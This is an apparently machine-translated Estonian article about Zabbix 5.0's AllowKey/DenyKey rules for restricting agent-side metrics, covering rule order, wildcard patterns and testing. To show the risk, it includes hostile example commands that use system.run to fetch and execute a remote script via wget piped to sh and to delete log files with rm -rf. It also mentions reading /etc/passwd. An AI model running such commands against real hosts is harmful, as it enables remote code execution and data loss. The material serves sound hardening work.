Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Agendipoolsete mõõdikute musta ja valge nimekirja tugi

Tihhon Uskov, integratsiooniinsener, Zabbix

Andmeturbe probleemid

Zabbix 5.0-l on uus funktsioon, mis võimaldab parandada Zabbix Agenti kasutavate süsteemide turvalisust ja asendab vana parameetri Luba RemoteCommands.

Agendipõhiste süsteemide turvalisuse paranemine tuleneb asjaolust, et agent suudab sooritada palju potentsiaalselt ohtlikke toiminguid.

  • Agent võib koguda peaaegu igasugust teavet, sealhulgas konfidentsiaalset või potentsiaalselt ohtlikku teavet, konfiguratsioonifailidest, logifailidest, paroolifailidest või muudest failidest.

Näiteks zabbix_get utiliidi abil saate juurdepääsu kasutajate loendile, nende kodukataloogidele, paroolifailidele jne.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Juurdepääs andmetele utiliidi zabbix_get abil

MÄRKUS. Andmeid saab hankida ainult siis, kui agendil on vastava faili lugemisõigused. Aga näiteks fail /etc/passwd/ loetav kõigile kasutajatele.

  • Agent võib täita ka potentsiaalselt ohtlikke käske. Näiteks klahv *system.run[]** võimaldab teil käivitada võrgusõlmedes mis tahes kaugkäsklusi, sealhulgas käivitada skripte Zabbixi veebiliidesest, mis täidavad käske ka agendi poolel.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linuxis töötab agent vaikimisi ilma juurõigusteta, Windowsis aga süsteemina teenusena ja tal on failisüsteemile piiramatu juurdepääs. Seega, kui Zabbix Agenti parameetrites pärast installimist muudatusi ei tehta, on agentil juurdepääs registrile ja failisüsteemile ning ta saab täita WMI päringuid.

Varasemates versioonides parameeter EnableRemoteCommands=0 lubatud on ainult mõõdikuid keelata võtmega *system.run[]** ja skriptide käivitamine veebiliidesest, kuid ei olnud võimalik piirata juurdepääsu üksikutele failidele, lubada või keelata üksikuid võtmeid, mis olid koos agendiga installitud, ega piirata üksikute parameetrite kasutamist.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Parameetri EnableRemoteCommand kasutamine Zabbixi varasemates versioonides

AllowKey/DenyKey

Zabbix 5.0 aitab kaitsta sellise volitamata juurdepääsu eest, pakkudes agendi poolel mõõdikute lubamiseks ja keelamiseks valgeid ja musti loendeid.

Zabbix 5.0-s kõik võtmed, sealhulgas *system.run[]** on lubatud ja lisatud on kaks uut agendi konfiguratsioonivalikut:

AllowKey= — lubatud kontrollid;

DenyKey= — keelatud kontrollid;

kus on parameetritega võtmenimemuster, mis kasutab metamärke (*).

Klahvid AllowKey ja DenyKey võimaldavad lubada või keelata üksikuid mõõdikuid konkreetse mustri alusel. Erinevalt teistest konfiguratsiooniparameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See võimaldab selgelt määratleda, mida agent süsteemis täpselt teha saab, luues kontrollide puu – käivitatavad võtmed, kus nende kirjutamise järjekord mängib väga olulist rolli.

Reeglite jada

Reegleid kontrollitakse nende konfiguratsioonifaili sisestamise järjekorras. Võtit kontrollitakse reeglite kohaselt enne esimest vastet ja niipea, kui andmeelemendi võti ühtib mustriga, on see lubatud või keelatud. Pärast seda reeglite kontrollimine peatub ja ülejäänud võtmeid ignoreeritakse.

Seega, kui element vastab nii lubamis- kui ka keelamisreeglile, sõltub tulemus sellest, milline reegel on konfiguratsioonifailis esimene.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

2 erinevat reeglit sama mustri ja võtmega vfs.file.size[/tmp/file]

AllowKey/DenyKey klahvide kasutamise järjekord:

  1. täpsed reeglid,
  2. üldreeglid,
  3. keelav reegel.

Näiteks kui vajate juurdepääsu teatud kaustas olevatele failidele, peate esmalt lubama neile juurdepääsu ja seejärel keelama kõik muu, mis ei kuulu kehtestatud lubade alla. Kui esmalt kasutatakse keelamisreeglit, keelatakse juurdepääs kaustale.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Õige järjestus

Kui peate lubama 2 utiliidil töötada *system.run[]** ja keelamisreegel määratakse kõigepealt, utiliite ei käivitata, kuna esimene muster vastab alati mis tahes võtmele ja järgnevaid reegleid eiratakse.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Vale järjestus

Mustrid

Põhireegleid

Muster on metamärkidega väljend. Metamärk (*) vastab suvalisele arvule märkidele konkreetses kohas. Metamärke saab kasutada nii võtme nimes kui ka parameetrites. Näiteks saate esimese parameetri rangelt määratleda tekstiga, ja määrake järgmine metamärgina.

Parameetrid tuleb panna nurksulgudesse [].

  • system.run[* - vale
  • vfs.file*.txt] - vale
  • vfs.file.*[*] - õige

Näited metamärgi kasutamisest.

  1. Võtme nimes ja parameetris. Sel juhul ei vasta võti sarnasele võtmele, mis ei sisalda parameetrit, kuna mustris märkisime, et tahame saada võtme nime teatud lõpu ja teatud parameetrite komplekti.
  2. Kui muster ei kasuta nurksulge, lubab muster kõik klahvid, mis ei sisalda parameetreid, ja keelab kõik võtmed, mis sisaldavad määratud parameetrit.
  3. Kui võti on kirjutatud täismahus ja parameetrid on määratud metamärgina, siis sobib see mis tahes sarnase võtmega mis tahes parameetritega ega ühti ilma nurksulgudeta võtmega, st see on lubatud või keelatud.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Parameetrite täitmise reeglid.

  • Kui kavatsetakse kasutada parameetritega võtit, tuleb parameetrid määrata konfiguratsioonifailis. Parameetrid tuleb määrata metamärgina. Juurdepääs mis tahes failile tuleb hoolikalt keelata ja arvestada, millist teavet võib mõõdik erinevate kirjaviiside korral pakkuda - parameetritega ja ilma.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Parameetritega klahvide kirjutamise omadused

  • Kui võti on määratud parameetritega, kuid parameetrid on valikulised ja määratud metamärgina, lahendatakse võti ilma parameetriteta. Näiteks kui soovite keelata teabe vastuvõtmise protsessori koormuse kohta ja määrata, et võti system.cpu.load[*] tuleks keelata, ärge unustage, et parameetriteta võti tagastab keskmise koormuse väärtuse.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Parameetrite täitmise reeglid

Märkused

reguleerimine

  • Mõnda reeglit ei saa kasutaja muuta, näiteks avastamisreegleid või agendi automaatse registreerimise reegleid. AllowKey/DenyKey reeglid ei mõjuta järgmisi parameetreid:
    - HostinimiItem
    - HostMetadataItem
    - HostInterfaceItem

MÄRKUS. Kui administraator keelab võtme, ei anna Zabbix päringu korral teavet selle kohta, miks mõõdik või võti kategooriasse "" langebEI TOETATA'. Teavet kaugkäskude täitmise keeldude kohta ei kuvata ka agendi logifailides. See on turvakaalutlustel, kuid võib silumise keerulisemaks muuta, kui mõõdikud mingil põhjusel toetamata kategooriasse satuvad.

  • Väliste konfiguratsioonifailide ühendamisel ei tohiks loota kindlale järjekorrale (näiteks tähestikulises järjekorras).

Käsurea utiliidid

Pärast reeglite seadistamist peate veenduma, et kõik on õigesti seadistatud.

Võite kasutada ühte kolmest valikust.

  • Lisage Zabbixile mõõdik.
  • Testi koos zabbix_agentd. Zabbixi agent valikuga -print (-p) näitab kõiki võtmeid (mis on vaikimisi lubatud), välja arvatud need, mida konfiguratsioon ei luba. Ja valikuga - test (-t) keelatud võti naasebToetamata üksuse võti'.
  • Testi koos zabbix_get. Kasulikkus zabbix_get valikuga -k tuleb tagasi'ZBX_NOTSUPPORTED: tundmatu mõõdik'.

Luba või keela

Saate keelata juurdepääsu failile ja kontrollida näiteks utiliidi abil zabbix_getet juurdepääs failile on keelatud.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

**

MÄRKUS. Parameetris olevaid tsitaate eiratakse.

Sellisel juhul võidakse lubada juurdepääsu sellisele failile muu tee kaudu. Näiteks kui selleni viib sümbollink.

Toetus Zabbix 5.0-s agentipoolsete mõõdikute musta nimekirja ja lubatud loendisse lisamiseks

Soovitatav on kontrollida erinevaid antud reeglite rakendamise võimalusi ning arvestada ka keeldudest möödahiilimise võimalustega.

Küsimused ja vastused

Küsimus. Miks valiti reeglite, lubade ja keeldude kirjeldamiseks nii keeruline, omakeeleline muster? Miks ei olnud võimalik kasutada näiteks regulaaravaldisi, mida Zabbix kasutab?

Vastus. See on regexi jõudluse probleem, kuna tavaliselt on ainult üks agent ja see kontrollib suurt hulka mõõdikuid. Regex on üsna raske toiming ja me ei saa sel viisil tuhandeid mõõdikuid kontrollida. Metamärgid – universaalne, laialt kasutatav ja lihtne lahendus.

Küsimus. Kas kaasasolevad failid pole tähestikulises järjekorras?

Vastus. Minu teada on praktiliselt võimatu ennustada reeglite rakendamise järjekorda, kui jaotada reeglid erinevate failide vahel. Soovitan koguda kõik AllowKey/DenyKey reeglid ühte Include-faili, kuna need suhtlevad üksteisega ja kaasata see fail.

Küsimus. Zabbix 5.0-s on valik "EnableRemoteCommands=' puudub konfiguratsioonifailist ja saadaval on ainult AllowKey/DenyKey?

Vastus. jah see on õige.

Tänan teid tähelepanu eest!

Allikas: www.habr.com

Lisa kommentaar